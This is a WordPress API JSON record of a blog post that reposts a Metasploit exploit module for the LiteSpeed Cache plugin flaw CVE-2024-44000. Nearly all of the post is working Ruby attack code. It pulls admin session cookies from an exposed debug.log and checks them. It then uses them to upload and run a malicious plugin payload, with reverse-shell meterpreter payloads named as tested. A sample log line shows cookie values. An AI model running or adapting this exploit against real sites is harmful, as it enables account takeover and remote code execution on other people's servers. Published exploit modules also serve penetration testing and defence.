{"id":59748,"date":"2024-09-17T19:20:59","date_gmt":"2024-09-17T16:20:59","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181592\/wp_litespeed_cookie_theft.rb.txt"},"modified":"2024-09-17T19:20:59","modified_gmt":"2024-09-17T16:20:59","slug":"wordpress-litespeed-cache-cookie-theft","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-litespeed-cache-cookie-theft\/","title":{"rendered":"WordPress LiteSpeed Cache Cookie Theft"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Remote::HTTP::Wordpress<br \/>include Msf::Exploit::FileDropper<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>class DebugLogError &lt; StandardError; end<br \/>class WordPressNotOnline &lt; StandardError; end<br \/>class AdminCookieError &lt; StandardError; end<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Wordpress LiteSpeed Cache plugin cookie theft&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin<br \/>that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when<br \/>the Debug Logging feature is enabled, the plugin will log admin cookies to the \/wp-content\/debug.log endpoint<br \/>which is accessible without authentication. The Debug Logging feature in the plugin is not enabled by default.<br \/>The admin cookies found in the debug.log can be used to upload and execute a malicious plugin containing a payload.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Rafie Muhammad&#8217;, # discovery<br \/>&#8216;jheysel-r7&#8217; # module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/patchstack.com\/articles\/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin\/&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2024-44000&#8217;]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;win&#8217;, &#8216;php&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_PHP, ARCH_CMD],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;PHP In-Memory&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;php&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_PHP<br \/># tested with php\/meterpreter\/reverse_tcp<br \/>}<br \/>],<br \/>[<br \/>&#8216;Unix In-Memory&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD<br \/># tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp<br \/>}<br \/>],<br \/>[<br \/>&#8216;Windows In-Memory&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD<br \/>}<br \/>],<br \/>],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-09-04&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE, ],<br \/>&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION, ]}<br \/>)<br \/>)<br \/>end<\/p>\n<p>def check<br \/>@admin_cookie = get_valid_admin_cookie<br \/>CheckCode::Vulnerable(&#8216;Found and tested valid admin cookie, we can upload and execute a payload&#8217;)<br \/>rescue WordPressNotOnline =&gt; e<br \/>return CheckCode::Unknown(&#8220;This doesn&#8217;t appear to be a WordPress site: #{e.class}, #{e}&#8221;)<br \/>rescue DebugLogError =&gt; e<br \/>return CheckCode::Safe(&#8220;#{e.class}, #{e}&#8221;)<br \/>rescue AdminCookieError =&gt; e<br \/>return CheckCode::Safe(&#8220;#{e.class}, #{e}&#8221;)<br \/>end<\/p>\n<p>def extract_cookies(debug_log)<br \/>admin_cookies = []debug_log.each_line do |log_line|<br \/># 09\/13\/24 15:52:48.009 [192.168.65.1:58695 1 UNP] Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7C4084023e82a4c58d574ddf33142b168ff5cb93446675ca8116fd32e1de2b8df7; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7Cf6bb4d0fdca7b147f320472893374a063b095b550db3488f86e58b6c47e4ce4c<br \/>match = log_line.match(\/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)\/)<br \/>admin_cookies &lt;&lt; match.captures.compact.join(&#8216;; &#8216;) if match<br \/>end<br \/>admin_cookies<br \/>end<\/p>\n<p>def verify_admin_cookie(admin_cookies)<br \/>admin_cookies.each do |admin_cookie|<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; &#8216;\/wp-admin\/&#8217;,<br \/>&#8216;cookie&#8217; =&gt; admin_cookie<br \/>})<br \/>return admin_cookie if res&amp;.code == 200<br \/>end<\/p>\n<p>nil<br \/>end<\/p>\n<p>def get_valid_admin_cookie<br \/>raise WordPressNotOnline unless wordpress_and_online?<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(&#8216;wp-content&#8217;, &#8216;debug.log&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>})<br \/>raise DebugLogError, &#8216;There was no \/wp-content\/debug.log endpoint found on the target to pillage&#8217; unless res&amp;.code == 200<br \/>raise DebugLogError, &#8216;There were no cookies found inside \/wp-content\/debug.log&#8217; unless res.body.include?(&#8216;wordpress_logged_in&#8217;)<\/p>\n<p>admin_cookies = extract_cookies(res.body)<br \/>raise AdminCookieError, &#8216;No admin cookies could be found in debug.log&#8217; if admin_cookies.blank?<\/p>\n<p>print_status(&#8216;One or more potential admin cookies were found&#8217;)<\/p>\n<p>admin_cookie = verify_admin_cookie(admin_cookies)<br \/>raise AdminCookieError, &#8216;Admin cookies were found but are invalid&#8217; unless admin_cookie<\/p>\n<p>admin_cookie<br \/>end<\/p>\n<p>def exploit<br \/>unless @admin_cookie<br \/>begin<br \/>@admin_cookie = get_valid_admin_cookie<br \/>print_good(&#8216;Found and tested valid admin cookie, we can upload and execute a payload&#8217;)<br \/>rescue WordPressNotOnline =&gt; e<br \/>fail_with(Failure::NotFound, &#8220;#{e.class}, #{e}&#8221;)<br \/>rescue DebugLogError, AdminCookieError =&gt; e<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{e.class}, #{e}&#8221;)<br \/>end<br \/>end<\/p>\n<p>print_status(&#8216;Preparing payload&#8230;&#8217;)<br \/>plugin_name = Rex::Text.rand_text_alpha(10)<br \/>payload_name = Rex::Text.rand_text_alpha(10).to_s<br \/>payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, &#8220;#{payload_name}.php&#8221;)<br \/>zip = generate_plugin(plugin_name, payload_name)<\/p>\n<p>print_status(&#8216;Uploading payload&#8230;&#8217;)<\/p>\n<p>uploaded = wordpress_upload_plugin(plugin_name, zip.pack, @admin_cookie)<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to upload the payload&#8217;) unless uploaded<\/p>\n<p>print_status(&#8220;Executing the payload at #{payload_uri}&#8230;&#8221;)<br \/>register_files_for_cleanup(&#8220;#{payload_name}.php&#8221;, &#8220;#{plugin_name}.php&#8221;)<br \/>register_dir_for_cleanup(&#8220;..\/#{plugin_name}&#8221;)<br \/>send_request_cgi({ &#8216;uri&#8217; =&gt; payload_uri, &#8216;method&#8217; =&gt; &#8216;GET&#8217; })<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HTTP::Wordpressinclude Msf::Exploit::FileDropperprepend Msf::Exploit::Remote::AutoCheck class DebugLogError &lt; StandardError; endclass WordPressNotOnline &lt; StandardError; endclass AdminCookieError &lt; StandardError; end def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Wordpress LiteSpeed Cache plugin cookie theft&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits an unauthenticated account takeover vulnerability in LiteSpeed &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59748","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59748","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59748"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59748\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59748"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59748"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59748"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}